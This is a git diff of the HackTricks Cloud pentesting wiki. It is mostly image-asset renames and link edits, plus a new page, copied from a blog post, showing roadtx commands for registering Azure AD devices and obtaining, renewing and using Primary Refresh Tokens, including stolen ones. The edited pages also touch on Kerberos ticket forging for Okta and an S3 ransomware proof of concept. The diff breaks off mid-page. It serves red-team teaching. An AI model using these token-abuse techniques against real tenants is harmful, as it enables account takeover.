diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png
new file mode 100644
index 0000000000..d7961cab39
Binary files /dev/null and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png
index d7961cab39..ece9585b82 100644
Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1).png
index ece9585b82..3048b65efa 100644
Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1).png
index 3048b65efa..fb52dbc6cd 100644
Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1).png
index fb52dbc6cd..ce50798209 100644
Binary files a/.gitbook/assets/image (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1).png
index ce50798209..fb5aa4f77c 100644
Binary files a/.gitbook/assets/image (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (1) (1).png b/.gitbook/assets/image (1) (1).png
index fb5aa4f77c..0f269bd025 100644
Binary files a/.gitbook/assets/image (1) (1).png and b/.gitbook/assets/image (1) (1).png differ
diff --git a/.gitbook/assets/image (1).png b/.gitbook/assets/image (1).png
index 0f269bd025..66bce84492 100644
Binary files a/.gitbook/assets/image (1).png and b/.gitbook/assets/image (1).png differ
diff --git a/.gitbook/assets/image (2) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (2) (1) (1) (1) (1) (1).png
new file mode 100644
index 0000000000..1520310fb4
Binary files /dev/null and b/.gitbook/assets/image (2) (1) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (2) (1) (1) (1) (1).png b/.gitbook/assets/image (2) (1) (1) (1) (1).png
index 1520310fb4..d02adb1bc2 100644
Binary files a/.gitbook/assets/image (2) (1) (1) (1) (1).png and b/.gitbook/assets/image (2) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (2) (1) (1) (1).png b/.gitbook/assets/image (2) (1) (1) (1).png
index d02adb1bc2..2c1380cee8 100644
Binary files a/.gitbook/assets/image (2) (1) (1) (1).png and b/.gitbook/assets/image (2) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (2) (1) (1).png b/.gitbook/assets/image (2) (1) (1).png
index 2c1380cee8..d0ab10ede3 100644
Binary files a/.gitbook/assets/image (2) (1) (1).png and b/.gitbook/assets/image (2) (1) (1).png differ
diff --git a/.gitbook/assets/image (2) (1).png b/.gitbook/assets/image (2) (1).png
index d0ab10ede3..6c458d0381 100644
Binary files a/.gitbook/assets/image (2) (1).png and b/.gitbook/assets/image (2) (1).png differ
diff --git a/.gitbook/assets/image (2).png b/.gitbook/assets/image (2).png
index 6c458d0381..feea4d9138 100644
Binary files a/.gitbook/assets/image (2).png and b/.gitbook/assets/image (2).png differ
diff --git a/.gitbook/assets/image (3) (1) (1) (2).png b/.gitbook/assets/image (3) (1) (1) (2).png
new file mode 100644
index 0000000000..9bbea93e21
Binary files /dev/null and b/.gitbook/assets/image (3) (1) (1) (2).png differ
diff --git a/.gitbook/assets/image (3) (1) (1).png b/.gitbook/assets/image (3) (1) (1).png
index 9bbea93e21..c31faa50d4 100644
Binary files a/.gitbook/assets/image (3) (1) (1).png and b/.gitbook/assets/image (3) (1) (1).png differ
diff --git a/.gitbook/assets/image (3) (1).png b/.gitbook/assets/image (3) (1).png
index c31faa50d4..f2584b8ffc 100644
Binary files a/.gitbook/assets/image (3) (1).png and b/.gitbook/assets/image (3) (1).png differ
diff --git a/.gitbook/assets/image (3).png b/.gitbook/assets/image (3).png
index f2584b8ffc..d2bc442169 100644
Binary files a/.gitbook/assets/image (3).png and b/.gitbook/assets/image (3).png differ
diff --git a/.gitbook/assets/image (4) (1) (1) (1).png b/.gitbook/assets/image (4) (1) (1) (1).png
new file mode 100644
index 0000000000..1a81f9de9c
Binary files /dev/null and b/.gitbook/assets/image (4) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (4) (1) (1).png b/.gitbook/assets/image (4) (1) (1).png
index 1a81f9de9c..2712b6af5f 100644
Binary files a/.gitbook/assets/image (4) (1) (1).png and b/.gitbook/assets/image (4) (1) (1).png differ
diff --git a/.gitbook/assets/image (4) (1).png b/.gitbook/assets/image (4) (1).png
index 2712b6af5f..ec1557dd97 100644
Binary files a/.gitbook/assets/image (4) (1).png and b/.gitbook/assets/image (4) (1).png differ
diff --git a/.gitbook/assets/image (4).png b/.gitbook/assets/image (4).png
index ec1557dd97..d68bdcd0ce 100644
Binary files a/.gitbook/assets/image (4).png and b/.gitbook/assets/image (4).png differ
diff --git a/.gitbook/assets/image (5) (1) (1) (1) (1).png b/.gitbook/assets/image (5) (1) (1) (1) (1).png
new file mode 100644
index 0000000000..69a19c247b
Binary files /dev/null and b/.gitbook/assets/image (5) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (5) (1) (1) (1).png b/.gitbook/assets/image (5) (1) (1) (1).png
index 69a19c247b..25c46bcddc 100644
Binary files a/.gitbook/assets/image (5) (1) (1) (1).png and b/.gitbook/assets/image (5) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (5) (1) (1).png b/.gitbook/assets/image (5) (1) (1).png
index 25c46bcddc..14f5183350 100644
Binary files a/.gitbook/assets/image (5) (1) (1).png and b/.gitbook/assets/image (5) (1) (1).png differ
diff --git a/.gitbook/assets/image (5) (1).png b/.gitbook/assets/image (5) (1).png
index 14f5183350..1bb2bcc6dd 100644
Binary files a/.gitbook/assets/image (5) (1).png and b/.gitbook/assets/image (5) (1).png differ
diff --git a/.gitbook/assets/image (5).png b/.gitbook/assets/image (5).png
index 1bb2bcc6dd..0bae024bc6 100644
Binary files a/.gitbook/assets/image (5).png and b/.gitbook/assets/image (5).png differ
diff --git a/.gitbook/assets/image.png b/.gitbook/assets/image.png
index 0bae024bc6..66bce84492 100644
Binary files a/.gitbook/assets/image.png and b/.gitbook/assets/image.png differ
diff --git a/SUMMARY.md b/SUMMARY.md
index 9a6428bf49..853a324266 100644
--- a/SUMMARY.md
+++ b/SUMMARY.md
@@ -337,6 +337,7 @@
* [Az - Pass the PRT](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md)
* [Az - Phishing Primary Refresh Token (Microsoft Entra)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md)
* [Az - Primary Refresh Token (PRT)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md)
+ * [Az - Roadtx - Authentication](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-roadtx-authentication.md)
* [Az - Persistence](pentesting-cloud/azure-security/az-persistence.md)
* [Az - Dynamic Groups Privesc](pentesting-cloud/azure-security/dynamic-groups.md)
* [Digital Ocean Pentesting](pentesting-cloud/digital-ocean-pentesting/README.md)
diff --git a/pentesting-ci-cd/gitea-security/README.md b/pentesting-ci-cd/gitea-security/README.md
index df4140257f..9993d982cd 100644
--- a/pentesting-ci-cd/gitea-security/README.md
+++ b/pentesting-ci-cd/gitea-security/README.md
@@ -18,7 +18,7 @@ Other ways to support HackTricks:
**Gitea** is a **self-hosted community managed lightweight code hosting** solution written in Go.
-![](<../../.gitbook/assets/image (5) (1) (1) (1).png>)
+![](<../../.gitbook/assets/image (5) (1) (1) (1) (1).png>)
### Basic Information
diff --git a/pentesting-ci-cd/jenkins-security/scm-ip-whitelisting-bypass.md b/pentesting-ci-cd/jenkins-security/scm-ip-whitelisting-bypass.md
index b19e87d29a..3e1b4026c6 100644
--- a/pentesting-ci-cd/jenkins-security/scm-ip-whitelisting-bypass.md
+++ b/pentesting-ci-cd/jenkins-security/scm-ip-whitelisting-bypass.md
@@ -80,7 +80,7 @@ If the login attempt fails, we’re redirected to the login error page.
But if the **login is successful**, we’re redirected to the main Jenkins page, and a **session cookie is set**.
-
+
So, we can **brute-force Jenkins credentials and get a session cookie!**\
However, we are a bit limited – we can only **send one stateless request each time**, and the **cookie can’t be attached** to our request, as we can’t control the headers.
diff --git a/pentesting-ci-cd/okta-security/README.md b/pentesting-ci-cd/okta-security/README.md
index c7c49b220a..fb5ea2b288 100644
--- a/pentesting-ci-cd/okta-security/README.md
+++ b/pentesting-ci-cd/okta-security/README.md
@@ -64,11 +64,11 @@ getST.py -spn HTTP/clientname.kerberos.okta.com -dc-ip 1.2.3.4 LAB/comprommisedu
With a ticket retrieved for the AD user, we need to inject this on a host we control using Rubeus or Mimikatz:
-
+
You’ll need to make sure that `clientname.kerberos.okta.com` is added to the “Intranet” security zone in Internet Options. And then, in our browser, if we hit the below URL, we should find that we receive a JSON response providing an `OK` result when the Kerberos ticket is accepted:
-
+
Heading over to the Okta dashboard, if everything is OK, you’ll be signed in.
@@ -76,7 +76,7 @@ Moreover, if we are able to compromise the actual Okta service account exposing
It should be noted that as Okta only support AES for ticket encryption, we’ll need to ensure we have the AES key or plaintext password to authenticate:
-
+
To craft our ticket for the victim user of `testuser`, we use:
@@ -88,7 +88,7 @@ ticketer.py -domain-sid S-1-5-21-4170871944-1575468979-147100471 -domain lab.loc
And again, deliver this to Okta via our browser session:
-
+
### Hijacking Okta AD Agent
@@ -104,11 +104,11 @@ C:\Program Files (x86)\Okta\Okta AD Agent
We’re going to take a look at the `OktaAgentService.exe.config`, which contains a few interesting bits of XML:
-
+
The Base64 encoded `AgentToken` is where we set our sights. If we open up `OktaAgentService.exe` in dnSpy, we can see how these values are decrypted:
-
+
That’s right.. good ol’ DPAPI! The `RandomEntropy` value is set to a value of:
diff --git a/pentesting-ci-cd/travisci-security/README.md b/pentesting-ci-cd/travisci-security/README.md
index 0b8f91664b..38ac6f2b2c 100644
--- a/pentesting-ci-cd/travisci-security/README.md
+++ b/pentesting-ci-cd/travisci-security/README.md
@@ -44,7 +44,7 @@ It looks like It's not possible to set crons inside the `.travis.yml` according
TravisCI by default disables sharing env variables with PRs coming from third parties, but someone might enable it and then you could create PRs to the repo and exfiltrate the secrets:
-![](<../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png>)
+![](<../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png>)
### Dumping Secrets
diff --git a/pentesting-cloud/aws-pentesting/aws-post-exploitation/aws-kms-post-exploitation.md b/pentesting-cloud/aws-pentesting/aws-post-exploitation/aws-kms-post-exploitation.md
index c9a8e111c0..181a12d951 100644
--- a/pentesting-cloud/aws-pentesting/aws-post-exploitation/aws-kms-post-exploitation.md
+++ b/pentesting-cloud/aws-pentesting/aws-post-exploitation/aws-kms-post-exploitation.md
@@ -106,7 +106,7 @@ aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
Note that if you change that policy and only give access to an external account, and then from this external account you try to set a new policy to **give the access back to original account, you won't be able**.
{% endhint %}
-
+
### Destroy keys
diff --git a/pentesting-cloud/aws-pentesting/aws-post-exploitation/aws-s3-post-exploitation.md b/pentesting-cloud/aws-pentesting/aws-post-exploitation/aws-s3-post-exploitation.md
index b9adaf81d9..c6fa25d2d9 100644
--- a/pentesting-cloud/aws-pentesting/aws-post-exploitation/aws-s3-post-exploitation.md
+++ b/pentesting-cloud/aws-pentesting/aws-post-exploitation/aws-s3-post-exploitation.md
@@ -42,7 +42,7 @@ For example, **airflow** could be storing **DAGs** **code** in there, or **web p
The following screenshot shows an example of a file that was targeted for a ransomware attack. As you can see, the account ID that owns the KMS key that was used to encrypt the object (7\*\*\*\*\*\*\*\*\*\*2) is different than the account ID of the account that owns the object (2\*\*\*\*\*\*\*\*\*\*1).
-![](<../../../.gitbook/assets/image (2) (1) (1) (1) (1).png>)
+![](<../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1).png>)
Here you can [find a ransomware example](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/s3\_ransomware/s3-ransomware-poc.py) that does the following:
diff --git a/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md b/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md
index 6664a47468..eafdf5a97f 100644
--- a/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md
+++ b/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md
@@ -62,7 +62,7 @@ Note that ECR requires that users have **permission** to make calls to the **`ec
It's possible to automatically replicate a registry in an external account configuring cross-account replication, where you need to **indicate the external account** there you want to replicate the registry.
-
+
First, you need to give the external account access over the registry with a **registry policy** like:
diff --git a/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md b/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md
index 93b4b222f9..4e5d0990cb 100644
--- a/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md
+++ b/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md
@@ -248,7 +248,7 @@ It's possible to generate API keys in the API Gateway portal and even set how mu
To make an API key work, you need to add it to a **Usage Plan**, this usage plan mus be added to the **API Stage** and the associated API stage needs to have a configured a **method throttling** to the **endpoint** requiring the API key:
-
+
## Unauthenticated Access
diff --git a/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md b/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md
index 8f2a0fa6b7..83a458d89a 100644
--- a/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md
+++ b/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md
@@ -119,7 +119,7 @@ AWS Access Advisor relies on last 400 days AWS **CloudTrail logs to gather its i
Therefore, Access Advisor informs about **the unnecessary permissions being given to users** so the admin could remove them
{% endhint %}
-
+
## Actions
diff --git a/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md b/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md
index 9ce2b1de48..5368cf25a2 100644
--- a/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md
+++ b/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md
@@ -40,22 +40,36 @@ There are different token types in Azure AD that each have their own limitations
* **Access tokens**, which can be used to **talk to APIs and access resources**, for example over the Microsoft Graph. They are tied to a **specific client** (the application that requested them), and a **specific resourc**e (the API that you are accessing).
* **Refresh tokens**, which are issued to applications to **obtain new access tokens**, since access tokens have a relatively short lifetime. They can only be used by the application they were issued to, or in some cases by a group of applications.
-* **Primary Refresh Tokens**, which are used for **Single Sign On on devices** that are Azure AD joined, registered or hybrid joined. They can be used both in **browser sign-in** flows to web applications and for signing in to **mobile and desktop applications** running on the device. They can be used to request **access tokens**.
+* **Primary Refresh Tokens (PRT)**, which are used for **Single Sign On on devices** that are Azure AD joined, registered or hybrid joined. They can be used both in **browser sign-in** flows to web applications and for signing in to **mobile and desktop applications** running on the device. They can be used to request **access tokens**.
+
+PRT is the most interesting type of token, check more information about them in:
+
+{% content-ref url="az-primary-refresh-token-prt.md" %}
+[az-primary-refresh-token-prt.md](az-primary-refresh-token-prt.md)
+{% endcontent-ref %}
## Pivoting Techniques
From the **compromised machine to the cloud**:
-* [**Pass the Cookie**](az-pass-the-cookie.md)
-* [**Pass the PRT**](pass-the-prt.md)
-* [**Pass the Certificate**](az-pass-the-certificate.md)
-* [**Phishing Primary Refresh Token**](az-phishing-primary-refresh-token-microsoft-entra.md)
+* [**Pass the Cookie**](az-pass-the-cookie.md): Steal Azure cookies from the browser and use them to login
+* [**Phishing Primary Refresh Token**](az-phishing-primary-refresh-token-microsoft-entra.md)**:** Phish the PRT to abuse it
+* [**Pass the PRT**](pass-the-prt.md): Steal the device PRT to access Azure impersonating it.
+* [**Pass the Certificate**](az-pass-the-certificate.md)**:** Generate a cert based on the PRT to login from one machine to another
From compromising **AD** to compromising the **Cloud** and from compromising the **Cloud to** compromising **AD**:
* [**Azure AD Connect**](azure-ad-connect-hybrid-identity/)
* **Another way to pivot from could to On-Prem is** [**abusing Intune**](../intune.md)
+### [Roadtx](https://github.com/dirkjanm/ROADtools)
+
+This tool allows to perform several actions like register a machine in Azure AD to obtain a PRT, and use PRTs (legit or stolen) to access resources in several different ways. These are not direct attacks, but it facilitates the use of PRTs to access resources in different ways. Find more info in:
+
+{% content-ref url="az-roadtx-authentication.md" %}
+[az-roadtx-authentication.md](az-roadtx-authentication.md)
+{% endcontent-ref %}
+
Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
diff --git a/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md b/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md
index 4d1721ef7e..8683b804c7 100644
--- a/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md
+++ b/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md
@@ -40,7 +40,7 @@ RequestCert.py [-h] --tenantId TENANTID --prt PRT --userName USERNAME --hexCtx H
```
{% endcode %}
-The certificates will last the same as the PRT. To use the certificate you can use the python tool [**AzureADJoinedMachinePTC**](https://github.com/morRubin/AzureADJoinedMachinePTC) **** that will **authenticate** to the remote machine, run **PSEXEC** and **open a CMD** on the victim machine. This will allow us to use Mimikatz again to get the PRT of another user.
+The certificates will last the same as the PRT. To use the certificate you can use the python tool [**AzureADJoinedMachinePTC**](https://github.com/morRubin/AzureADJoinedMachinePTC) that will **authenticate** to the remote machine, run **PSEXEC** and **open a CMD** on the victim machine. This will allow us to use Mimikatz again to get the PRT of another user.
```bash
Main.py [-h] --usercert USERCERT --certpass CERTPASS --remoteip REMOTEIP
diff --git a/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md b/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md
index 10fd656fe4..874ac80577 100644
--- a/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md
+++ b/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md
@@ -42,27 +42,27 @@ Therefore, it's possible to use a regular refresh token, that is not tied to a d
The “upgrade” from normal refresh token to primary refresh token is not possible with every refresh token. It requires a specific application ID (client ID) in the sign-in flow. Windows uses the client ID `29d9ed98-a469-4536-ade2-f981bc1d605e` (Microsoft Authentication Broker) and resource `https://enrollment.manage.microsoft.com/` for this request. We can emulate this flow with the roadtx `gettokens` command, which supports several different authentication flows:
-
+
If there is a policy that requires MFA to sign in, we can instead use the `interactiveauth` module:
-
+
The resulting refresh token (which is cached in the `.roadtools_auth` file) can be used to request a token for the device registration service, where we can create the device:
-
+
Now that we have a device identity, we can combine this with the same refresh token to obtain a PRT (both refresh tokens shortened for readability):
-
+
Tokens resulting from the authentication will contain the same authentication method claims as used during the registration, so **any MFA usage will be transferred to the PRT**. The PRT that we get can be used in any authentication flow, so we can expand the scope of our limited refresh token to any possible app.
-
+
We can also use this to sign in to browser flows:
-
+
### Provisioning Windows Hello for Business keys
diff --git a/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md b/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md
index 1e8903dc66..bf20d37652 100644
--- a/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md
+++ b/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md
@@ -14,7 +14,7 @@ Other ways to support HackTricks:
-**Post copied from** [**https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/)
+**Post copied from** [**https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/) although another post explaining the same can be found in [**https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30**](https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30)
## Basic Information
@@ -188,6 +188,14 @@ Check how to obtain a PRT token from a compromised device and use it to access A
[pass-the-prt.md](pass-the-prt.md)
{% endcontent-ref %}
+## [Roadtx](https://github.com/dirkjanm/ROADtools)
+
+This tool allows to perform several actions like register a machine in Azure AD to obtain a PRT, and use PRTs (legit or stolen) to access resources in several different ways. These are not direct attacks, but it facilitates the use of PRTs to access resources in different ways. Find more info in:
+
+{% content-ref url="az-roadtx-authentication.md" %}
+[az-roadtx-authentication.md](az-roadtx-authentication.md)
+{% endcontent-ref %}
+
Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
diff --git a/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-roadtx-authentication.md b/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-roadtx-authentication.md
new file mode 100644
index 0000000000..32ad15b702
--- /dev/null
+++ b/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-roadtx-authentication.md
@@ -0,0 +1,232 @@
+# Az - Roadtx - Authentication
+
+
+
+Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+
+Other ways to support HackTricks:
+
+* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
+* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+
+
+
+**Post copied from** [**https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/**](https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/)
+
+## Basic Information
+
+ROADtools Token eXchange (roadtx) is a tool for **exchanging and using different types of Azure AD issued tokens**. It supports many different authentication flows, device registration and PRT related operations.
+
+It can do the following:
+
+* Register and join devices to Azure AD.
+* Request Primary Refresh Tokens from user credentials or other valid tokens.
+* Use Primary Refresh Tokens in a similar way as the Web Account Manager (WAM) in Windows does.
+* Perform all kind of Oauth2 token redemption flows.
+* Perform interactive logins based on Browser SSO by injecting the Primary Refresh Token into the authentication flow.
+* Add SSO capabilities to Chrome via the Windows 10 accounts plugin and a custom browsercore implementation.
+* Automate sign-ins, MFA and token requesting to various resources in Azure AD by using Selenium.
+* Possibility to load credentials and MFA TOTP seeds from a KeePass database to use in automated flows.
+
+## Registering a device
+
+Most of the modules of roadtx are designed around Primary Refresh Tokens and device identities. **To obtain a PRT, we must first register a device in Azure AD**.\
+Registering a device **requires** an **access token** to the device registration service resource. The access token must be a **token without a device claim**, so you cannot use single sign-on or an existing PRT to request one. There are a **few ways to obtain such a token with roadtx**, where some methods support MFA and others do not.\
+**MFA could be required to register a device, depending on tenant settings**. If it is not, you can request a token for the device registration service (specified here through the _devicereg_ alias) with only a username and password:
+
+```bash
+roadtx gettokens -u myuser@mytenant.com -p password -r devicereg
+```
+
+If MFA is required, you can use the device authentication flow to request the tokens from a **browser window somewhere**:
+
+```bash
+roadtx gettokens --device-auth -r devicereg
+```
+
+Alternatively, we use a **Selenium based window for MFA**, while autofilling the username + password:
+
+```bash
+roadtx interactiveauth -u myuser@mytenant.com -p password -r devicereg
+```
+
+Any of the commands above with **save an access token to the `.roadtools_auth` file**. The device registration command will automatically load it from this file. You can customize what you want for device properties with various commandline parameters to the `roadtx device` module:
+
+
+
+We register an Azure AD joined device with the name “blogdevice”:
+
+```bash
+roadtx device -n blogdevice
+Saving private key to blogdevice.key
+Registering device
+Device ID: 5f138d8b-6416-448d-89ef-9b279c419943
+Saved device certificate to blogdevice.pem
+```
+
+We get two pieces of data that identify our device: The first is the **device certificate** saved in `blogdevice.pem`, which is issued by Azure AD and **identifies our device**. The second part is the `blogdevice.key` file, which contains the **private key of the certificate** and is also used as transport key. Now that we have the device certificate, we can do **operations that require a device identity**. The most useful one is **requesting a Primary Refresh Token**, since that will enable us to add Single Sign On capabilities to our (interactive or automated) token requests.
+
+## Requesting a Primary Refresh Token
+
+A primary refresh token is most often requested with a username and password. When you log in to an Azure AD joined or hybrid joined workstation with your **username and password**, Windows immediately **requests a PRT** from Azure AD. I’ve talked about the technicalities behind this flow at my Troopers and Romhack [talks](https://dirkjanm.io/talks/) in the past, so if you’re interested in the technicalities have a read through those slides. **To request a PRT with roadtx, run the `roadtx prt` command**, specify the device cert/key and the username + password to use, and you get a PRT:
+
+{% code overflow="wrap" %}
+```bash
+roadtx prt -u myuser@mytenant.com -p password --key-pem blogdevice.key --cert-pem blogdevice.pem
+```
+{% endcode %}
+
+The command will give us a **PRT** (in the form of an encrypted token), and a **session key** that we need to use the PRT. The PRT is by default saved to `roadtx.prt`, where it can be picked up by other roadtx modules.
+
+A PRT is by default valid for 90 days, but we can **renew it at any time** to extend the validity for another 90 days with the `renew` action:
+
+```bash
+roadtx prt -a renew
+Renewing PRT
+Saved PRT to roadtx.prt
+```
+
+Note that the PRT we requested here is only based on a password, so **any authentication that requires MFA will fail even if we use the PRT**. We can also upgrade or “enrich” the PRT with an MFA claim, this is shown in the next section on Selenium based authentication.
+
+## Using Primary Refresh Tokens on the command line
+
+Once we have a PRT, we can use it to **sign in to resources that accept Azure AD authentication**. You can do this either with the **`roadtx gettokens`** command, and **specify the PRT and session key** on the command line, or use the **`roadtx prtauth`** command. The difference between the two is that the **`gettokens`** command implements authentication that is **based on how Chrome does Single Sign On** in the browser. This method is slightly hacky and if it fails won’t give you any feedback.
+
+The **`prtauth`** module instead emulates the **Web Account Manager (WAM) that Windows** uses if you request access tokens from an app or native process. The WAM acts like a token broker, and requests tokens on behalf of other clients. It uses a combination of signed requests and encrypted responses to prevent exposing the tokens in transit, all done using the PRT session key.
+
+By default, the `roadtx prtauth` module with use the **Azure AD PowerShell Module client ID** and the Azure AD graph as resource, but you can specify any other client ID or resource URL either by its full part or as an alias (listable with `roadtx listaliases`):
+
+```bash
+roadtx prtauth
+Tokens were written to .roadtools_auth
+```
+
+Example using the Azure CLI as client ID and requesting tokens for the Azure Resource Manager:
+
+```bash
+roadtx prtauth -c azcli -r azrm
+Tokens were written to .roadtools_auth
+```
+
+There’s also other options you can use to specify other resources or the correct redirect URL for the app you are using:
+
+
+
+## Selenium based Azure AD authentication
+
+Command line based token requests and usage are nice, but often you will encounter some flow that either requires a browser window to do Multi Factor Authentication, or you simply want to use your PRT in an interactive way to browse things like the Azure Portal or just read your mail using a stolen PRT.
+
+The principle of Selenium based operations in roadtx is simple: **it launches a browser window, tries to autofill any credentials that you supplied to the command, and let you fill in the rest by hand**. If you have your accounts set up correctly, it will do the authentication fully automatically.
+
+### Interactive authentication
+
+In the simplest form, roadtx will launch a browser for you, request a token for the indicated service, fill in any credentials you specified, and obtain tokens. Example:
+
+```bash
+roadtx interactiveauth -u myuser@mytenant.com -p password
+```
+
+If **MFA** is required, you can enter that and obtain a token with MFA claim. If not, it will capture the output and save the requested tokens. You can specify the **client ID** you want to use with `-c` and the resource to authenticate to with `-r`. Here’s a [**short video demo**](https://dirkjanm.io/assets/video/selenium\_autofill.mp4).
+
+### Using KeePass to auth in different accounts
+
+**`roadtx`** supports **sourcing credentials and TOTP based MFA information from a kdbx file** (KeePass file) or KeePass XML export. To use this, use the **`roadtx keepassauth`** command. It accepts a **KeePass** file with the **`-kp`** parameter or if you leave this parameter out it tries to load `roadtx.kdbx` from the current directory. The **password** of the KeePass file can be specified with **`-kpp`** or via the `KPPASS` environment variable. The only **required** parameter is the **username**, which it will look up in the KeePass file. It will autofill the password and also the OTP code if “Mobile app OTP” is enabled as an MFA method on the account. This requires the TOTP seed to be stored in the `otp` additional parameter of the identity in the KeePass file. For instructions on how to set this up and some caveats of using KeePass files, see the [roadtx wiki](https://github.com/dirkjanm/ROADtools/wiki/ROADtools-Token-eXchange-\(roadtx\)).
+
+Check the [**video demo**](https://dirkjanm.io/assets/video/selenium\_kpautofill.mp4).
+
+Aside from requesting tokens directly, you can also use this as an interactive browser window with auto authentication. To do this, specify a URL manually that will redirect you to the Microsoft sign-in page. For example, using `-url https://myaccount.microsoft.com` will open a browser, authenticate you, and go to the “My account” page. You can use `--keep-open` to keep the browser window open after authentication, which makes it possible to browse to other pages from an authenticated perspective. Example:
+
+{% code overflow="wrap" %}
+```bash
